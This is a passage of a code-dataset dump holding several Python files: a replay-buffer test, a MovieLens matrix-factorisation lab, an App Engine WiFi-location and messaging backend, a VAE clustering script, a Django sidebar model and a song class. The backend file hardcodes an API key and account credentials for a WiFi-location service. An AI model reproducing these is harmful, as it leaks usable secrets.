replace=False).tolist()\n S = [self.S[i] for i in idx]\n A = [self.A[i] for i in idx]\n R = [self.R[i] for i in idx]\n Snext = [self.Snext[i] for i in idx]\n done = [self.done[i] for i in idx]\n return np.concatenate(tuple(S), 0), \\\n np.concatenate(tuple(A), 0), \\\n np.array(R), \\\n np.concatenate(tuple(Snext), 0), \\\n np.array(done)\n\n def print(self):\n print('Memory Pool: {} Samples / {} MaxCapacity'.format(self.level, self.maxlevel))\n print('||S shape:{}'.format(self.S[0].shape))\n print('||A shape:{}'.format(self.A[0].shape))\n print('||R len:{}'.format(len(self.R)))\n print('||Snext shape:{}'.format(self.Snext[0].shape))\n\n\nif __name__ == \"__main__\":\n import gym\n import os\n\n env = gym.make(\"Boxing-v0\")\n env.reset()\n D = Memory(max=40, action_shape=18)\n observation = env.reset()\n observation = observation[35:174, 32:128, :].copy()\n for t in range(0, 1000):\n print('\\r ' + str(t), end='')\n env.render(mode='human')\n action = env.action_space.sample()\n observation_next, reward, done, info = env.step(action)\n observation_next = observation_next[35:174, 32:128, :]\n D.push_transition(observation, action, reward, observation_next, done)\n observation = observation_next\n D.print()\n\n B1 = D.random_sample(30)\n B2 = D.random_sample(40)\n B3 = D.random_sample(100)\n print('finish test')\n","sub_path":"Boxing-v0/agent/Memory.py","file_name":"Memory.py","file_ext":"py","file_size_in_byte":5376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"560051502","text":"import numpy as np\nimport pods\nimport pandas as pd\nimport sys\nimport zipfile\nimport random\n\n# pods.util.download_url(\"http://files.grouplens.org/datasets/movielens/ml-latest-small.zip\")\n# zip_console = zipfile.ZipFile('ml-latest-small.zip','r')\n# for name in zip_console.namelist():\n# zip_console.extract(name,'./')\n\n\nYourStudentID = 166 # Include here the last three digits of your UCard number\nnUsersInExample = 10 # The maximum number of Users we're going to analyse at one time\n\nratings = pd.read_csv(\"./ml-latest-small/ratings.csv\")\n\"\"\"\nratings is a DataFrame with four columns: userId, movieId, rating and tags. We\nfirst want to identify how many unique users there are. We can use the unique \nmethod in pandas\n\"\"\"\nindexes_unique_users = ratings['userId'].unique() #get the unique data as a set. Return a vector\nn_users = indexes_unique_users.shape[0] #users\n\"\"\" \nWe randomly select 'nUsers' users with their ratings. We first fix the seed\nof the random generator to make sure that we always get the same 'nUsers'\n\"\"\"\nnp.random.seed(YourStudentID) #if seed is the same then every time we can get the same random set\nindexes_users = np.random.permutation(n_users) #disorder the array and return new array(The difference between shuffle)\nmy_batch_users = indexes_users[0:nUsersInExample]\n\"\"\"\nWe will use now the list of 'my_batch_users' to create a matrix Y. \n\"\"\"\n# We need to make a list of the movies that these users have watched\nlist_movies_each_user = [[] for _ in range(nUsersInExample)]\nlist_ratings_each_user = [[] for _ in range(nUsersInExample)]\n# Movies\nlist_movies = ratings['movieId'][ratings['userId'] == my_batch_users[0]].values #return a ndarray\n# print(type(list_movies))\nlist_movies_each_user[0] = list_movies\n# Ratings\nlist_ratings = ratings['rating'][ratings['userId'] == my_batch_users[0]].values\nlist_ratings_each_user[0] = list_ratings\n# Users\nn_each_user = list_movies.shape[0]\n# print(list_movies.shape)\nlist_users = my_batch_users[0]*np.ones((1, n_each_user))\n\nfor i in range(1, nUsersInExample):\n # Movies\n local_list_per_user_movies = ratings['movieId'][ratings['userId'] == my_batch_users[i]].values\n list_movies_each_user[i] = local_list_per_user_movies\n list_movies = np.append(list_movies,local_list_per_user_movies)\n # Ratings\n local_list_per_user_ratings = ratings['rating'][ratings['userId'] == my_batch_users[i]].values\n list_ratings_each_user[i] = local_list_per_user_ratings\n list_ratings = np.append(list_ratings, local_list_per_user_ratings)\n # Users\n n_each_user = local_list_per_user_movies.shape[0]\n local_rep_user = my_batch_users[i]*np.ones((1, n_each_user))\n list_users = np.append(list_users, local_rep_user)\n\n# Let us first see how many unique movies have been rated\nindexes_unique_movies = np.unique(list_movies)\nn_movies = indexes_unique_movies.shape[0]\n# As it is expected no all users have rated all movies. We will build a matrix Y\n# with NaN inputs and fill according to the data for each user\ntemp = np.empty((n_movies,nUsersInExample,))\ntemp[:] = np.nan\nY_with_NaNs = pd.DataFrame(temp)\nfor i in range(nUsersInExample):\n local_movies = list_movies_each_user[i]\n # .in1d compares two vectors and return 'mask' value which is a set of boolean values. If 'revert' parameter is False,\n # then the value of the location of the same elements is True. Otherwise, it's reversed.\n ixs = np.in1d(indexes_unique_movies, local_movies, invert=False)\n Y_with_NaNs.loc[ixs, i] = list_ratings_each_user[i] #.loc meas locate the position of [a,b] a,b can be vectors\n\nY_with_NaNs.index = indexes_unique_movies.tolist() #.tolist will convert the matrices and arrays to list\nY_with_NaNs.columns = my_batch_users.tolist()\n\np_list_ratings = np.concatenate(list_ratings_each_user).ravel()\np_list_ratings_original = p_list_ratings.tolist()\nmean_ratings_train = np.mean(p_list_ratings)\np_list_ratings = p_list_ratings - mean_ratings_train # remove the mean\np_list_movies = np.concatenate(list_movies_each_user).ravel().tolist() #.concatenate: joint arrays; .ravel: make matrices become a vector\np_list_users = list_users.tolist()\nY = pd.DataFrame({'users': p_list_users, 'movies': p_list_movies, 'ratingsorig': p_list_ratings_original,'ratings':p_list_ratings.tolist()})\n\n\nq = 2 # the dimension of our map of the 'library'\nlearn_rate = 0.01\n# *0.001 or *0.01 or *0.1 have no big difference because their squared value(U*V) are all far smaller than the rating(when calculating 'diff')\nU = pd.DataFrame(np.random.normal(size=(nUsersInExample, q))*0.001, index=my_batch_users)\nV = pd.DataFrame(np.random.normal(size=(n_movies, q))*0.001, index=indexes_unique_movies)\n\n# #Display Dataframe\n# print(Y_with_NaNs)\nprint(Y)\nprint(U)\nprint(V)\n\n#Training with Batch gradient descent\ndef objective_gradient(Y, U, V):\n gU = pd.DataFrame(np.zeros((U.shape)), index=U.index)\n gV = pd.DataFrame(np.zeros((V.shape)), index=V.index)\n obj = 0.\n nrows = Y.shape[0]\n for i in range(nrows):\n row = Y.iloc[i]\n user = row['users']\n film = row['movies']\n rating = row['ratings']\n prediction = np.dot(U.loc[user], V.loc[film]) # vTu\n diff = prediction - rating # vTu - y\n obj += diff*diff\n gU.loc[user] += 2*diff*V.loc[film]\n gV.loc[film] += 2*diff*U.loc[user]\n # If we should use the mean gradient?(Although it will converge very slowly)\n # gU = gU/nrows\n # gV = gV/nrows\n return obj, gU, gV\n\n#Training with stochastic gradient descent\ndef objective_gradient_with_SGD(Y, U, V):\n gU = pd.DataFrame(np.zeros(U.shape), index=U.index)\n gV = pd.DataFrame(np.zeros(V.shape), index=V.index)\n nrows = Y.shape[0]\n rowNum = random.randint(0,nrows-1)\n row = Y.iloc[rowNum]\n user = row['users']\n film = row['movies']\n rating = row['ratings']\n prediction = np.dot(U.loc[user], V.loc[film])\n diff = prediction - rating\n obj = diff * diff * nrows\n gU_gradient_change = 2 * diff * V.loc[film]\n gV_gradient_change = 2 * diff * U.loc[user]\n for i in range(nrows):\n row_counter = Y.iloc[i]\n user_counter = row_counter['users']\n film_counter = row_counter['movies']\n gU.loc[user_counter] += gU_gradient_change\n gV.loc[film_counter] += gV_gradient_change\n return obj, gU, gV\n\n#Training\nprint(\"Training\")\niterations = 1000\nswitcher = 0 # 0 for BGD and 1 for SGD\nfor i in range(iterations):\n if(switcher==0):\n obj, gU, gV = objective_gradient(Y, U, V)\n else:\n obj, gU, gV = objective_gradient_with_SGD(Y, U, V)\n print(\"Iteration\", i, \"Objective function: \", obj)\n U -= learn_rate*gU\n V -= learn_rate*gV\n\ndef predict(Y,U,V):\n nrows = Y.shape[0]\n for i in range(nrows):\n row = Y.iloc[i]\n user = row['users']\n film = row['movies']\n rating = row['ratings']\n prediction = np.dot(U.loc[user],V.loc[film])\n absoluteError = abs(prediction - rating)\n Y.loc[i,'prediction'] = prediction #add a new column\n Y.loc[i,'absError'] = absoluteError #add a new column\n return Y\n\ny_with_prediction = predict(Y,U,V)\nprint(y_with_prediction)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# #numpy array\n# a = np.array([[1,2,3,4],\n# [4,5,6,7],\n# [7,8,9,10]])\n# b = np.array([])\n# print(a.shape[1]) #[0]rows [1]columns\n# x_select = a[1, 0:2] #parameters[row,column:column]\n# print(x_select)\n\n# #在指定的范围内返回均匀间隔的数字\n# np.linspace(start=-2, stop=2, num=50, endpoint=True, retstep=False, dtype=None)\n\n","sub_path":"Lab2.py","file_name":"Lab2.py","file_ext":"py","file_size_in_byte":7562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"7966453","text":"\"\"\"\nthis file hold the logic required by the server.\nIt creates a bridge between the database and the main\n\"\"\"\nimport logging\nimport random\nimport string\n\nfrom Models import DB\nfrom Models import Session\n\n\nTOKEN = \"AIzaSyBEB7vDFWeX3qRN4dyMjZaYxHg2AjHpLyE\"\n\n\ndef get_mylnikov(data):\n \"\"\"\n get approx location using mylnikov api\n :param data: the wifi data\n :return: the approx location\n \"\"\"\n from services.mylnikov import MyLinkov\n m = MyLinkov(data) # init the api handler\n res = m.get_location() # search for location\n if res['result'] is 200: # if location is found\n ret = {\n 'lat': res['lat'],\n 'lon': res['lon'],\n 'accuracy': int(res['range'])\n }\n else:\n ret = {\n 'lat': None,\n 'lon': None,\n 'accuracy': \"99999\"\n }\n return ret\n\n\ndef get_unwired(data):\n \"\"\"\n get approx location using unwired api\n :param data: the wifi data\n :return: the approx location\n \"\"\"\n from services.unwiredlabs import UnWiredAPI\n uw = UnWiredAPI()\n req_list = []\n for i in data['found_wifi']: # iterate wifi's\n # rebuild json to match the call\n req = {\n \"bssid\": i['bssid'],\n \"signal\": i['signal'],\n \"frequency\": i['frequency']\n }\n if hasattr(i, 'channel'): # check if has channel\n req[\"channel\"] = i['channel']\n req_list.append(req)\n res = uw.make_request(req_list) # make the call\n logging.info(\"response\")\n logging.info(res)\n if not hasattr(res, 'accuracy'): # if failed to find location\n return {\n 'lat': None,\n 'lon': None,\n 'accuracy': \"99999\"\n }\n\n ret = {\n 'accuracy': res['accuracy'],\n 'address': res['address'],\n 'lat': res['lat'],\n 'lon': res['lon'],\n }\n return ret\n\n\ndef get_combain(data):\n \"\"\"\n get approx location using combain api\n :param data: the wifi data\n :return: the approx location\n \"\"\"\n from services.combain import Combain\n c = Combain() # ini combain\n req_list = []\n for i in data['found_wifi']: # iterate the list\n # rebuild request to match the call\n req = {\n \"macAddress\": i['bssid'],\n \"signalStrength\": i['signal']\n }\n req_list.append(req)\n res = c.make_request(req_list)\n if hasattr(res, \"accuracy\"): # if found the location\n ret = {\n 'accuracy': res['accuracy'],\n 'lat': res['location']['lat'],\n 'lon': res['location']['lng']\n }\n else:\n logging.info(res)\n ret = {\n 'accuracy': \"99999\",\n 'lat': None,\n 'lon': None,\n\n }\n return ret\n\n\ndef get_google_maps(data):\n \"\"\"\n using MapsAPI , to fnd the location\n :param data:\n :return:\n \"\"\"\n from services.GoogleAPI import MapsAPI\n maps = MapsAPI() # init MapsAPI\n # rebuild the object\n to_send = {\n \"homeMobileCountryCode\": data[\"homeMobileCountryCode\"],\n 'homeMobileNetworkCode': data[\"homeMobileNetworkCode\"],\n \"carrier\": data['carrier'],\n 'radioType': data['radioType']\n }\n\n if hasattr(data, 'cellTowers'): # add cell towers if exist\n to_send['cellTowers'] = data['cellTowers']\n req_list = []\n for i in data['found_wifi']: # iterate the list\n # rebuild the data to match the api\n req = {\n \"macAddress\": i['bssid'],\n \"signalStrength\": i['signal'],\n\n }\n if hasattr(i, 'channel'): # check for channel\n req[\"channel\"] = i['channel']\n req_list.append(req)\n to_send['wifiAccessPoints'] = req_list\n res = maps.make_request(to_send) # make the request\n logging.info(res)\n if hasattr(res, 'accuracy'): # if found the location\n ret = {\n 'accuracy': res['accuracy'],\n 'lat': res['lat'],\n 'lon': res['lng'],\n }\n else:\n ret = {\n 'accuracy': \"99999\",\n 'lat': None,\n 'lon': None\n }\n return ret\n\n\ndef smallest(data1, data2, data3):\n \"\"\"\n method to find the best accuracy between the 3 apis\n :param data1: location\n :param data2: location\n :param data3: location\n :return: the best of the 3\n \"\"\"\n\n # convert to integers\n ac1 = int(data1['accuracy'])\n ac2 = int(data2['accuracy'])\n ac3 = int(data3['accuracy'])\n arr = [ac1, ac2, ac3] # insert to array\n idx = arr.index(min(arr)) # find the minimum\n # return by index\n if idx is 0:\n return data1\n if idx is 1:\n return data2\n if idx is 2:\n return data3\n\n\nclass DAL:\n \"\"\"\n holds the logic\n \"\"\"\n def create_session(self, phone_a, phone_b):\n \"\"\"\n creates a session like for two wireless nodes\n :param phone_a: first node\n :param phone_b: second node\n :return: session name\n \"\"\"\n session = Session()\n session_name = self.get_session_name(phone_a, phone_b)\n if session_name is not False:\n return session_name\n else:\n while True:\n new_name = id_generator()\n if not self.session_exist_in_db(new_name):\n session.name = new_name\n session.phone_numberA = phone_a\n session.phone_numberB = phone_b\n session_key = session.put()\n return new_name\n\n\n @staticmethod\n def save_location(mac, lat_lon):\n pass\n\n @staticmethod\n def delete_session(name):\n \"\"\"\n deletes a session\n :param name: the session to delete\n :return: None\n \"\"\"\n from google.appengine.ext import ndb\n row = Session.query(Session.name == name)\n if not row.get():\n return {\"error\": \"No Such Session {}\".format(name)}\n ndb.delete_multi([key for key in row.iter(keys_only=True)])\n return {\"success\": \"session {} deleted\".format(name)}\n\n @staticmethod\n def update_session(name, who, data):\n \"\"\"\n updates data in existing session\n :param name: session's name\n :param who: what to update\n :param data: the new val\n :return: true on success\n \"\"\"\n session_key = Session.query(Session.name == name)\n session = session_key.get()\n if session.phone_numberA == who:\n session.jsonA = data\n session.put()\n return True\n if session.phone_numberB == who:\n session.jsonB = data\n session.put()\n return True\n return False\n\n @staticmethod\n def get_user_in_session(name, phone):\n \"\"\"\n get the user in a session\n :param name: session's name\n :param phone: user's phone\n :return: user if found, false otherwise\n \"\"\"\n session_key = Session.query(Session.name == name)\n session = session_key.get()\n if session.phone_numberA == phone:\n return session.phone_numberB\n if session.phone_numberB == phone:\n return session.phone_numberA\n return False\n\n @staticmethod\n def save_to_db(user):\n \"\"\"\n dave user to db\n :param user: the user to save\n :return: db key on success, None otherwise\n \"\"\"\n db = DB()\n if not exist_in_db(user, DB):\n db.registration_id = user['id']\n db.phone_number = user['phone']\n db.name = user['name']\n db_key = db.put()\n return db_key\n return None\n\n @staticmethod\n def get_by_phone(user):\n \"\"\"\n gets from db user by phone\n :param user: the user to find\n :return:\n \"\"\"\n db = DB()\n key = db.query(DB.phone_number == user['phone']).get()\n if key:\n return key.registration_id\n return None\n\n @staticmethod\n def session_exist_in_db(name):\n \"\"\"\n checks if the session exists in db\n :param name: the session name\n :return: true if exist\n \"\"\"\n db = Session() # create the session\n key = db.query(Session.name == name).get()\n if key:\n return True\n return False\n\n @staticmethod\n def get_session_name(phone_a, phone_b):\n \"\"\"\n get the name of the session by phones\n :param phone_a: first phone\n :param phone_b: second phone\n :return: session name or false if not exist\n \"\"\"\n db = Session()\n key = db.query(Session.phone_numberA == phone_a, Session.phone_numberB == phone_b).get()\n if key:\n return key.name\n key = db.query(Session.phone_numberA == phone_b, Session.phone_numberB == phone_a).get()\n if key:\n return key.name\n return False\n\n @staticmethod\n def calculate_distance(data):\n \"\"\"\n calculate the approx distance from db and frequency\n :param data: the object containing the needed data\n :return: double of approx distance in meters\n \"\"\"\n import math\n distance = 10 ** ((27.55 - (20 * math.log(int(data['frequency']), 10)) + abs(int(data['signal']))) / 20)\n return distance\n\n @staticmethod\n def triangulation(phone1_data, phone2_data):\n \"\"\"\n Calculates the distance between two wireless node using triangulation\n :param phone1_data: first phone's data\n :param phone2_data: second phones's data\n :return: the approx distance from first to second\n \"\"\"\n return return_distances(phone1_data, phone2_data)\n\n @staticmethod\n def get_nearby_ap(lon, lat, lon1, lat1):\n \"\"\"\n Returns the WiFi AP's According to given location area\n :param lon: top right longitude\n :param lat: top right latitude\n :param lon1: bottom right longitude\n :param lat1:bottom right latitude\n :return: list of all WiFi AP's\n \"\"\"\n # from api_calls import API\n from services.wigle import WigleAgent\n wa = WigleAgent('itamarsh1', '212762476')\n return wa.get_nearby(str(lon), str(lat), str(lon1), str(lat1))\n # return API().get_wifi_in_area(str(lon), str(lat), str(lon1), str(lat1)).content\n\n @staticmethod\n def get_lat_lon_from_mac(mac):\n \"\"\"\n Return the Location of Given AP MAC Address\n :param mac: the AP MAC address\n :return: (Latitude, Longitude)\n \"\"\"\n from services.wigle import WigleAgent\n wa = WigleAgent('itamarsh1', '212762476')\n return wa.get_lat_lng(mac)\n\n @staticmethod\n def get_best_accuracy(data):\n \"\"\"\n returns the best location known\n :param data: the wifi data\n :return: smallest accuracy known\n \"\"\"\n data1 = get_unwired(data)\n data2 = get_combain(data)\n data3 = get_google_maps(data)\n return smallest(data1, data2, data3)\n\n @staticmethod\n def validate_token():\n from venodrs.gcm import GCM\n gcm = GCM(TOKEN)\n return gcm\n\n @staticmethod\n def gcm_message(user, data):\n \"\"\"\n sends a message using gcm\n :param user: the user to send to\n :param data: the data to send\n :return: returns the response to return\n \"\"\"\n import logging\n dal = DAL()\n # create the session\n session_name = dal.create_session(user['from'], user['phone'])\n logging.info(\"session \"+session_name)\n user_id = dal.get_by_phone(user) # get id by phone\n logging.info(user_id)\n if user_id: # if found user\n m = data['message']\n logging.info(m)\n gcm = dal.validate_token() # validate is gcm user\n # send the message\n response = gcm.json_request(\n delay_while_idle=False,\n time_to_live=3600,\n registration_ids=[user_id],\n data={'message': {'from': user['from'], 'session': session_name, 'message': m}}\n )\n response['session'] = session_name\n return {'response': response}\n else:\n return {'response': \"No Such User\"}\n\n\ndef return_distances(phone1_data, phone2_data):\n \"\"\"\n converts all db from phones to approx distance in meters\n :param phone1_data: first phone's data\n :param phone2_data: second phones's data\n :return: a list containing all the intersected data in meters\n \"\"\"\n joined = find_join(phone1_data, phone2_data)\n dict1 = build_dict(phone1_data, key=\"name\")\n dict2 = build_dict(phone2_data, key=\"name\")\n ret = []\n from DAL import DAL\n dal = DAL()\n for i in joined:\n a = dict1[i]\n b = dict2[i]\n d1 = dal.calculate_distance(a)\n d2 = dal.calculate_distance(b)\n ret.append([d1, d2])\n return ret\n\n\ndef build_dict(seq, key):\n \"\"\"\n :param seq: the bigger dictionary\n :param key: the value to be indexed\n :return: dictionary having the former key-val and the index\n \"\"\"\n return dict((d[key], dict(d, index=index)) for (index, d) in enumerate(seq))\n\n\ndef find_join(phone1_data, phone2_data):\n \"\"\"\n finds the intersection between two lists ob dictionaries\n :param phone1_data: first phone's data\n :param phone2_data: second phone's data\n :return: list of joined data\n \"\"\"\n ret1 = []\n ret2 = []\n for val in phone1_data:\n ret1.append(val['name'])\n for value in phone2_data:\n ret2.append(value['name'])\n return set(ret1) & set(ret2)\n\n\ndef id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n \"\"\"\n generates a unique ID\n :param size: needed string length\n :param chars: what characters allowed to use\n :return: a string of random ID\n \"\"\"\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef exist_in_db(user, db):\n \"\"\"\n checks if the input is in the Db\n :param user: the user dictionary\n :param db: the db to search in\n :return: true is found, false otherwise\n \"\"\"\n key = db.query(db.phone_number == user['phone']).get()\n logging.info(100*'#')\n logging.info(key)\n if key:\n return True\n else:\n return False\n","sub_path":"logic/DAL.py","file_name":"DAL.py","file_ext":"py","file_size_in_byte":14295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"26174794","text":"\"\"\"\r\nCreated on Sun Mar 4 20:51:33 2018\r\n\r\n@author: nicjm\r\n\"\"\"\r\n\r\n## VAE to cluster agents based on the strategy and object cluster\r\n\r\n# Packages\r\n#import xlrd\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n#from scipy.stats import norm\r\n#from sklearn import preprocessing\r\n\r\nfrom keras.layers import Input, Dense, Lambda\r\nfrom keras.models import Model\r\nfrom keras import backend as K\r\nfrom keras import metrics\r\n\r\nnp.random.seed(0)\r\n\r\n# Load Data\r\n#workbook = xlrd.open_workbook('C:\\\\Users\\\\nicjm\\\\Documents\\\\Python\\\\VAEs\\\\ExpertWealth.xlsx')\r\n#ExpertWealth = pd.read_excel('C:\\\\Users\\\\nicjm\\\\Documents\\\\Python\\\\VAEs\\\\Daily\\\\15_strats17_22-Oct-2009-29-Apr-2016_3001SH.xlsx',\"Sheet1\",header=None)\r\nExpertWealth = pd.read_excel('C:\\\\Users\\\\nicjm\\\\Documents\\\\Python\\\\VAEs\\\\Daily\\\\15_strats17_22-Oct-2009-29-Apr-2016_3001PnL_experts.xlsx',\"Sheet1\",header=None)\r\nParams = pd.read_excel('C:\\\\Users\\\\nicjm\\\\Documents\\\\Python\\\\VAEs\\\\Daily\\\\15_strats17_3001parameters.xlsx',\"Sheet1\",header=None)\r\nParamsdf = Params\r\n# Create dataframe of parameters- convert from strings from the excel file\r\n#ignore the first 110 days as this is where no trading takes place\r\nexpwealth1 = ExpertWealth.iloc[:,:]\r\n \r\n# Pre process\r\nParams1 = Params.transpose() \r\ndf1 = expwealth1.transpose() \r\n\r\n#mine\r\ndflog = np.log(df1)\r\ndf2 = dflog.diff(1,1)\r\nfor i in range(df2.shape[1]):\r\n mean = np.mean(df2.iloc[:,i])\r\n std = np.std(df2.iloc[:,i])\r\n df2.iloc[:,i]= (df2.iloc[:,i]-mean)/std\r\ndf2 = np.nan_to_num(df2)\r\ndf2 = pd.DataFrame(data=df2, # values\r\n index = df1.index, # 1st column as index\r\n columns=df1.columns)\r\n\r\n\r\n## Specify VAE parameters \r\nbatch_size = 120\r\noriginal_dim = df2.shape[1]\r\nlatent_dim = 2\r\nintermediate_dim = 2560\r\nepochs = 600\r\nepsilon_std = 1.0\r\n\r\n\r\nx = Input(shape=(original_dim,))\r\nh = Dense(intermediate_dim, activation='tanh')(x)\r\nz_mean = Dense(latent_dim)(h)\r\nz_log_var = Dense(latent_dim)(h)\r\n\r\n\r\ndef sampling(args):\r\n z_mean, z_log_var = args\r\n epsilon = K.random_normal(shape=(K.shape(z_mean)[0], latent_dim), mean=0.,\r\n stddev=epsilon_std)\r\n return z_mean + K.exp(z_log_var / 2) * epsilon\r\n\r\n# note that \"output_shape\" isn't necessary with the TensorFlow backend\r\nz = Lambda(sampling, output_shape=(latent_dim,))([z_mean, z_log_var])\r\n\r\n# we instantiate these layers separately so as to reuse them later\r\ndecoder_h = Dense(intermediate_dim, activation='tanh')\r\ndecoder_mean = Dense(original_dim, activation='tanh')\r\nh_decoded = decoder_h(z)\r\nx_decoded_mean = decoder_mean(h_decoded)\r\n\r\n# instantiate VAE model\r\nvae = Model(x, x_decoded_mean)\r\n\r\n# Compute VAE loss\r\n#binary_crossentropy\r\nxent_loss = original_dim * metrics.mean_squared_error(x, x_decoded_mean)\r\nkl_loss = - 0.5 * K.sum(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var), axis=-1)\r\nvae_loss = K.mean(xent_loss + kl_loss)\r\n\r\nvae.add_loss(vae_loss)\r\nvae.compile(optimizer='rmsprop')\r\nvae.summary()\r\n\r\n# train the VAE on MNIST digits\r\nx_train = df2#.iloc# [0:1000,:]\r\nx_test = df2 #.iloc#[1000:,:]\r\n \r\nstrats = ['','EMAXover','Ichimoku','MACD','MovAveXover','ACC','Boll','Fast Stochastic'\r\n ,'MARSI','AntiBCRP','BCRP','PROC','RSI','SAR','Slow Stochastic','Williams%R']\r\n\r\nhistory = vae.fit(x_train,\r\n shuffle=True,\r\n epochs=epochs,\r\n batch_size=batch_size) \r\n\r\nplt.figure()\r\nplt.plot(history.history['loss'])\r\n\r\n# build a model to project inputs on the latent space\r\nencoder = Model(x, z_mean)\r\n\r\n# get startegy names for all experts in expertparams1\r\ny_test = [0 for i in range(df2.shape[0])] \r\nfor m in range(0,len(df1)-1):\r\n for k in range(0,14):\r\n if k== int(Paramsdf.iloc[m,1]):\r\n y_test[m] = strats[k]\r\n\r\n## display a 2D plot of the digit classes in the latent space\r\n#Create differet sizes for markers based on cluster size and define markers for each stock\r\n # cluster\r\nmarkersizes = Paramsdf.iloc[:,0].as_matrix().tolist()\r\nmarkersizes = list(map(int, markersizes)) #convert all list items to integers\r\nmarkers = ['s','d','o','2']\r\n\r\n# define the markers for all the parameters\r\nmarkersParams = [0 for i in range(df1.shape[0])]\r\nfor i in range(0,df1.shape[0]):\r\n markersParams[i] = markers[int(Paramsdf.iloc[i,0])-1]\r\n \r\n\r\n#x and y coordinates of plot \r\nx_test_encoded = encoder.predict(df2, batch_size=batch_size)\r\n\r\n#define figure and add points, markers etx to figure\r\nfig, ax = plt.subplots()\r\nfor i in range(0,x_test_encoded.shape[0]):\r\n ax.scatter(x_test_encoded[i, 0],x_test_encoded[i, 1], marker = markersParams[i])\r\n#ax.scatter(z, y)\r\n\r\n## plot with colourmap for strategies and different sizes for different clusters\r\nplt.figure(figsize=(4.7, 4.7))\r\nplt.scatter(x_test_encoded[:, 0], x_test_encoded[:, 1], s = (200*markersizes)*2,c = Paramsdf.iloc[:,1],cmap=plt.cm.tab20)\r\n\r\nplt.colorbar()\r\nplt.show()\r\nplt.savefig('strategies_daily.png', dpi=300)\r\n\r\n## Plot with only colourmap for stock cluster and stategies\r\n#colors = itertools.cycle([\"r\", \"b\", \"g\",\"y\"])\r\ncmap=plt.cm.rainbow\r\nplt.figure(figsize=(4.7, 4.7))\r\n#norm = matplotlib.colors.BoundaryNorm(np.arange(-2.5,3,1), cmap.N)\r\nplt.scatter(x_test_encoded[:, 0], x_test_encoded[:, 1],cmap=cmap, s = (200*markersizes)*2,c = Paramsdf.iloc[:,0])\r\nplt.colorbar()\r\nplt.show()\r\nplt.savefig('stockclusters_daily.png', dpi=300)","sub_path":"VAE_daily_new.py","file_name":"VAE_daily_new.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"604201646","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.template.loader import render_to_string\n\n\n# Create your models here.\nclass SideBar(models.Model):\n STATUS_SHOW = 1\n STATUS_HIDE = 0\n STATUS_ITEMS = (\n (STATUS_SHOW, \"展示\"),\n (STATUS_HIDE, \"隐藏\"),\n )\n HTML = 1\n LATEST = 2\n HOT = 3\n COMMENT = 4\n SIDE_TYPE = (\n (HTML, 'HTML'), \n (LATEST, \"最新文章\"),\n (HOT, \"最热文章\"),\n (COMMENT, \"最近评论\"),\n )\n title = models.CharField(max_length=50, verbose_name=\"标题\")\n display_type = models.PositiveIntegerField(default=1, choices=SIDE_TYPE, verbose_name=\"展示类型\")\n content = models.CharField(max_length=500, blank=True, verbose_name=\"内容\", help_text=\"如果设置的不是HTML类型,可为空\")\n status = models.PositiveIntegerField(default=STATUS_SHOW, choices=STATUS_ITEMS, verbose_name=\"状态\")\n owner = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name=\"作者\")\n created_time = models.DateTimeField(auto_now_add=True, verbose_name=\"创建时间\")\n\n class Meta:\n verbose_name = verbose_name_plural = \"侧边栏\"\n \n def __str__(self):\n return self.title\n \n @classmethod\n def get_all(cls):\n return cls.objects.filter(status=cls.STATUS_SHOW)\n \n @property\n def content_html(self):\n from blog.models import Post\n from comment.models import Comment\n\n result = \"\"\n if self.display_type == self.HTML:\n result = self.content\n elif self.display_type == self.LATEST:\n context = {\n 'posts': Post.latest_posts()\n }\n result = render_to_string('config/block/sidebar_posts.html', context)\n elif self.display_type == self.HOT:\n context = {\n 'post': Post.hot_posts()\n }\n result = render_to_string('config/block/sidebar_posts.html', context)\n elif self.display_type == self.COMMENT:\n context = {\n 'comments': Comment.objects.filter(status=Comment.STATUS_NORMAL)\n }\n result = render_to_string('config/block/sidebar_comments.html', context)\n return result","sub_path":"config/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"291197883","text":"__author__ = 'Nick Flanders'\n\nclass Song:\n \"\"\"\n Wrapper object containing song information\n \"\"\"\n def __init__(self, id, title, artist, album, uri, building_id, user=None, date=None):\n \"\"\"\n Initialize the song with the given information\n :param title: title of the song as a string\n :param artist: song artist as a string\n :param album: song album as a string\n :param uri: the Spotify URI used for playing the song as a string\n :param user: the username of the person who added the song as a string\n :return:\n \"\"\"\n self.id = id\n self.title = title\n self.artist = artist\n self.album = album\n self.uri = uri\n self.building_id = building_id\n if user is None:\n self.user = \"\"\n else:\n self.user = user\n self.date = date\n\n @classmethod\n def from_dict(cls, json):\n \"\"\"\n Initialize a song based on responses from the db\n :param json: the dictionary containing the json response from the db\n \"\"\"\n song_id = json[\"_id\"]\n title = json[\"title\"]\n artist = json[\"artist\"]\n album = json[\"album\"]\n uri = json[\"uri\"]\n user = json[\"user\"]\n building_id = json[\"building_id\"]\n date = json[\"date\"]\n return cls(song_id, title, artist, album, uri, building_id, user, date)\n\n","sub_path":"admin/song.py","file_name":"song.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
